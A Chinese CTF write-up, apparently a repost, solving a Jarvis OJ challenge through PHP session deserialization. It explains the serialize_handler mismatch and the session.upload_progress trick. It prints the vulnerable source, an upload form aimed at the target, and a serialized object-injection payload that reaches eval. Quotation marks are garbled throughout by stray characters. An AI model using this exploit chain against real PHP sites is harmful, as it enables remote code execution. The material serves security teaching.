首页 » 网站建设 » phpsession传输技巧_从 session 角度进修反序列化

phpsession传输技巧_从 session 角度进修反序列化

访客 2024-12-12 0

扫一扫用手机浏览

文章目录 [+]

下面是题目给出的源码 原题链接:http://web.jarvisoj.com:32784/

<?php// A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO {public $mdzz;function __construct() {$this->mdzz = 'phpinfo();';}function __destruct() {eval($this->mdzz);}}if(isset($_GET['phpinfo'])) {$m = new OowoO();}else {highlight_string(file_get_contents( 'index.php'));}

序言

phpsession传输技巧_从 session 角度进修反序列化

题目直接给出了 phpinfo 信息,作为 CTF 的题来说,一定有其特殊的意义。

phpsession传输技巧_从 session 角度进修反序列化
(图片来自网络侵删)

其余,在实战中也是主要的信息透露,不熟习的同学可参考 phpinfo 可以见告我们什么:

https://zeroyu.xyz/2018/11/13/what-phpinfo-can-tell-we/。

碰着这种情形,可直接拿下来与默认的phpinfo 进行文件比拟,或容许以迅速找到打破口。

困境

看到 construct() 和 __destruct() 两个魔术方法,极有可能是反序列化的题。
个中,destruct() 中有

eval($this->mdzz);

如果 $this->mdzz 可控的话,这便是一个明显的 webshell 了,可惜 mdzz 在布局函数中就限去世了,而且这里并没有变量覆盖的漏洞,否则也可以打一波,陷入困境。

有这么方便的 eval() 在这里,能不能绕过布局函数,直接实行我们须要的命令呢?

此处必有蹊跷。

ini_set('session.serialize_handler', 'php');

知识点

1.PHP Session 序列化及反序列化处理器设置利用不当带来的安全隐患:https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

phpinfo 中可以看到,PHP 反序列化时可以利用的几种方法。

平时实验过程中,也可以用这个语句进行方法指定。

session_start(['serialize_handler' => 'php_serialize'])在设置 session 和读取 session 两个阶段中,若利用了不同的序列化方法,将产生任意工具注入,进而导致反序列化漏洞。
$_SESSION['test'] = '|O:8:\"大众stdClass\公众:0:{}';存储时利用 php_serialize -->a:1:{s:4:\公众test\"大众;s:20:\"大众|O:8:\"大众stdClass\"大众:0:{}\"大众;}反序列化利用 php -->// var_dump($_SESSION);array(1) {[\"大众a:1:{s:4:\"大众test\公众;s:20:\"大众\"大众]=>object(stdClass)#1 (0) {}}

PHP 获取到 session 字符串后,就开始查找第一个 |(竖线),用竖线将字符串分割成“键名”和“键值”, 并对“键值”进行反序列化。
但如果这次反序列化失落败,就放弃这次解析,再去找下一个竖线,实行同样的操作,直到成功。

然而到这里还是没办理 mdzz 不可控的问题,接下来引入第二个知识点。

2.上传进度支持(Upload progress in sessions)

正常用法拜会 example #1:

http://php.net/manual/zh/session.upload-progress.php,合营 Ajax 就能显示上传进度。

利用此法可达到对 session 写入数据的效果,从而使得 $mdzz 可控,可参照 有趣的 php 反序列化总结:

http://www.91ri.org/15925.html

当一个上传在处理中,同时 post 一个与 ini 设置的 session.uploadprogress.name 同名变量时,php 检测到这种 post 要求时就会在 $SESSION 中添加一组数据,以是可通过 session.upload_progress 来设置 session。

下面是部分参数解释

session.uploadprogress.enabled[=1] : 是否启用上传进度报告(默认开启)session.uploadprogress.cleanup[=1] : 是否在上传完成后及时删除进度数据(默认开启, 推举开启).session.uploadprogress.prefix[=uploadprogress] : 进度数据将存储在_SESSION[session.uploadprogress.prefix . POST[session.uploadprogress.name]] session.uploadprogress.name[=PHPSESSIONUPLOADPROGRESS] : 如果 POST[session.uploadprogress.name]没有被设置, 则不会报告进度.session.uploadprogress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’. session.uploadprogress.min_freq[=1.0] : 更新进度的韶光间隔(秒级)

回到本题,查看 phpinfo, session.uploadprogress.enabled 打开,并且session.uploadprogress.cleanup关闭。

开干

布局一个表单

<!DOCTYPE html><html><body><form action=\"大众http://web.jarvisoj.com:32784/index.php\"大众 method=\"大众POST\"大众 enctype=\"大众multipart/form-data\"大众><input type=\公众hidden\"大众 name=\"大众PHP_SESSION_UPLOAD_PROGRESS\公众 value=\"大众2333\"大众 /><input type=\"大众file\"大众 name=\"大众file\"大众 /><input type=\"大众submit\"大众 value=\"大众submit\"大众 /></form></body></html>

如果不指定,PHP 将默认利用 “php“ 作为 session 序列化的方法,payload 及结果如下:

PS:不用纠结 Content-Type,这个对解题没有影响,重点是加入\,防止 \"大众 被转义。

\"大众|O:5:\\"大众OowoO\\公众:1:{s:4:\\"大众mdzz\\"大众;s:19:\\"大众print_r($_SESSION);\\公众;}Array ([a:1:{s:24:\"大众upload_progress_12312131\"大众;a:5:{s:10:\"大众start_time\"大众;i:1551019950;s:14:\"大众content_length\公众;i:434;s:15:\公众bytes_processed\"大众;i:434;s:4:\"大众done\"大众;b:1;s:5:\公众files\"大众;a:1:{i:0;a:7:{s:10:\"大众field_name\"大众;s:4:\"大众file\"大众;s:4:\"大众name\公众;s:55:\"大众]=> OowoO Object ([mdzz] => print_r($_SESSION);))

根据 php 手册,存入 session 里的形式是这样的,由此看出 field_name 也可以,以是不一定要用 filename。

$_SESSION[\"大众upload_progress_123\"大众] = array(\"大众start_time\"大众 => 1234567890, // The request time\"大众content_length\"大众 => 57343257, // POST content length\公众bytes_processed\"大众 => 453489, // Amount of bytes received and processed\"大众done\"大众 => false,// true when the POST handler has finished, successfully or not\公众files\"大众 => array(0 => array(\"大众field_name\公众 => \"大众file1\"大众, // Name of the <input/> field// The following 3 elements equals those in $_FILES\"大众name\公众 => \"大众foo.avi\"大众,\"大众tmp_name\"大众 => \公众/tmp/phpxxxxxx\"大众,\公众error\"大众 => 0,\公众done\公众 => true,// True when the POST handler has finished handling this file\"大众start_time\公众 => 1234567890,// When this file has started to be processed\"大众bytes_processed\"大众 => 57343250,// Amount of bytes received and processed for this file)))

拿 flag 的老套路就不多说了,把 mdzz 里的值换成你须要实行的操作即可。

总结

知识面,决定看到的攻击面有多广。

知识链,决定发动的杀伤链有多深。

——猪猪侠

干系操作练习

1、PHP反序列化漏洞实验:理解什么是反序列化漏洞,漏洞成因以及如何挖掘和防御反序列化漏洞

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016010714511600001

2、PHP序列化漏洞实践:序列化是将变量转换为可保存或传输的字符串的过程

http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017042716211200001

本文为合天原创,未经许可,严禁转载。

标签:

相关文章

mongodbforphp技巧_MongoDB PHP

确保连接及选择一个数据库为了确保精确连接,你须要指天命据库名,如果数据库在mongoDB中不存在,mongoDB会自动创建代码片段...

网站建设 2024-12-14 阅读0 评论0